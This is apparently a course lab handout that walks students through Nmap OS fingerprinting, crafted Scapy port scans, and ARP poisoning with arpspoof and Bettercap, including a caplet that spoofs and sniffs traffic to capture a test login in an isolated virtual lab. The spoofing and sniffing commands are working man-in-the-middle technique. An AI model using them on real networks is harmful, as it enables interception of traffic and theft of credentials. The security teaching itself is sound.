Lab 4

More on Scanning and ARP Poisoning (Spoofing)

1. More on UFW
   How to allow a connection from a specific IP address:
   ```
   sudo ufw allow from <IP>
   ```
   How to block (deny) a connection from a specific IP address:
   ```
   sudo ufw deny from <IP>
   ```

2. OS fingerprinting (Remote OS Detection)

   OS finger printing is when attacker sends a series of TCP and UDP packets to the remote host and examines practically every bit in the responses. After the test, the results are compared against the general behaviour of operating systems for a match.
   Nmap is the most popular active OS detection tool. *Nmap* probes a target with large number of well-crafted packets and the results are compared against Nmap's database of OS fingerprints (nmap-os-db).

   Before doing this exercise, log in Metasploitable and disable firewall (if you did not do so last week: `sudo ufw disable`)
   Try to find the version of your Meta2 using *Nmap*. For example, if Meta IP address is 10.0.2.5, you can use the following command:
   ```
   nmap -v -O 10.0.2.5
   ```
   (Tip: You can check the version of Meta2 by using `uname –a` in Metasploitable.)

3. Scanning with *Scapy*
   We can use Scapy to create our own "ad-hoc" scanning tool. We send crafted packets and displaying their responses from the target, Metasploitable. Type`scapy` at the terminal to do the following.

   (a) (Recap) We can create and test TCP packet with various flags.
   Examples: (let the IP address of Metasploitable VM is 10.0.2.5)
   i. Creating a TCP packet with a SYN flag
   ```
   >>> a=IP(dst='Meta IP')/TCP(sport=5555,dport=80,flags='S')
   >>> sr1(a)
   ```
   Creating another TCP packet for flags=0x02
   ```
   >>> b=sr1(IP(dst='Meta IP')/TCP(sport=5555,dport=80,flags=0x02))
   >>> sr1(b)
   ```
   ii. Compare the above results.

   (b) The hexadecimal number is useful to set the flags. The first number represents the first 4 bits and the second number represents the next 4 bits. For example, in Xmas scan fin, psh and urg have to be set.
   ```
   [cwr|ece|urg|ack|psh|rst|syn|fin]
   ```

```
[ 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 ]  → 0x29
```

```
>>>sr1(IP(dst='Meta
IP')/TCP(sport=5555,dport=80,flags=0x29))
```

<u>Other main flags</u>

```
FIN = 0x01
SYN = 0x02
RST = 0x04
PSH = 0x08
ACK = 0x10
```

(c) Multiple ports scan

i. By range:

```
>>> res = sr(IP(dst='Meta
IP')/TCP(sport=5555,dport=(80,84),flags=0x02))
>>> res[0].summary()
>>> res[1].summary()
```

ii. By list:

```
>>> res = sr(IP(dst='Meta
IP')/TCP(sport=5555,dport=[22,80],flags=0x02))
>>> res[0].summary()
>>> res[1].summary()
```

NOTE: Make sure that three VMs, Kali, Meta2 and Ubuntu VMs, are attached to “NAT Network”. (You can configure Ubuntu's network in the same way as you did for Kali VM.) Check whether VMs communicate with each other through NAT Network using the `ping` command.

4. Preparation

(a) Make sure both Kali and Meta2 VMs are turned on. Find out both VMs’ IP and MAC addresses. (Write or save them somewhere.)

(b) We first need to gather some information about devices attached to our network interface. On Kali VM, run `arp -a` and see what happens. If you cannot see Metasploitable's IP, ping Metasploitable and run `arp -a` again. (Note that arp is a network tool to display and modify the Address Resolution Protocol (ARP) cache.)

(c) We can run the netdiscover tool to get similar results. Try `sudo netdiscover -i eth0 -r 10.0.2.1/24`.

(d) Note that VMs are attached to your network interface, which is usually “`eth0`”. Pay attention to IP and MAC addresses of gateway. If “gateway” is not shown, run `route -n` and get IP address of the gateway. Write down the IP and MAC addresses of the gateway.

5. Performing ARP Poisoning using `arpspoof`

(a) Open a terminal and type the following commands to install arpsoof:

```
sudo apt-get update
sudo apt-get install dsniff
```

(b) One a termina as a root user. (To do this, you click the scroll button beside the terminal icon on the top menu bar and select “Root Terminal Emulator.”) We need to make `ip_forward` enable: On terminal, type

```
 echo 1 > /proc/sys/net/ipv4/ip_forward
```

(Here, be careful about a space between “`echo`”, “`1`” and “`>`” .)
You can check the value is set successfully by typing the following command at terminal. The output must be 1:

```
 head /proc/sys/net/ipv4/ip_forward
```

You can close the root terminal.
(c) On the first terminal, type:

```
 sudo arpspoof –i eth0 –t <Meta IP> <Gateway IP>
```

Open another terminal and type:

```
 sudo arpspoof –i eth0 –t <Gateway IP> <Meta IP>
```

(d) Now go back to Metasploitable terminal and type `arp –a`. What is the MAC address of the gateway?

(e) After you have done the task, press `ctrl+c` on the two terminals running `arpspoof` to exit. (You may have to press enter a few times.)

6. Performing ARP poisoning using Bettercap

Bettercap is another handy tool for performing ARP poisoning. To install it, issue the following commands on terminal consecutively:

```
     sudo apt-get update
     sudo apt-get install bettercap
```

Now, turn on Ubuntu machine and check its IP. On the terminal, type `ip address show` (or `ifconfig`) to check Ubuntu IP.

(a) On Kali, type `sudo bettercap` to run Bettercap. When it runs, type `net.probe on`. What happens? Type `help` to see what modules are available in Bettercap.

(b) To see the result more nicely, issue `net.show`. You will see something similar to when you ran `netdiscover` or `arp –a`.

(c) Now type `help arp.spoof`. You will see the options we need to set to perform arp poisoning. Type `set arp.spoof.fullduplex true`

(Type `help arp.spoof` to know what it does.), followed by `set arp.spoof.targets <Ubuntu IP>` and `arp.spoof on`.

(d) Go to Ubuntu and run or `arp -a` (or `ip neigh show` if `arp -a` is not working) to check the gateway IP. The network interface name could be something like "enp0s3". Confirm the gateway MAC address has been changed to Kali's MAC address.

7. Caplet in Bettercap

It is tedious to put a series of commands in Bettercap all the time. Fortunately, Bettercap provides so-called "caplet (bettercap script)", so we can do our task more efficiently.

(a) Open any text editor (like mousepad) and type the series of commands we put to perform arpspoof on Bettercap:

```
net.probe on
set arp.spoof.fullduplex true
set arp.spoof.targets <Ubuntu IP>
arp.spoof on
net.sniff on
```

and save the file as arpspf.cap (in the root directory).

(b) Then type the following command on terminal:

```
sudo bettercap -iface eth0 -caplet arpspf.cap
```

What happens? How do you check arp spoofing is active?

8. Capturing sensitive information through Bettercap

Run `arpspf.cap.` Go back to Ubuntu and visit http://testphp.vulnweb.com/login.php from the browser. Put any username and password in. Come back to Kali and from the terminal where bettercap is running, scroll up to find your username and password!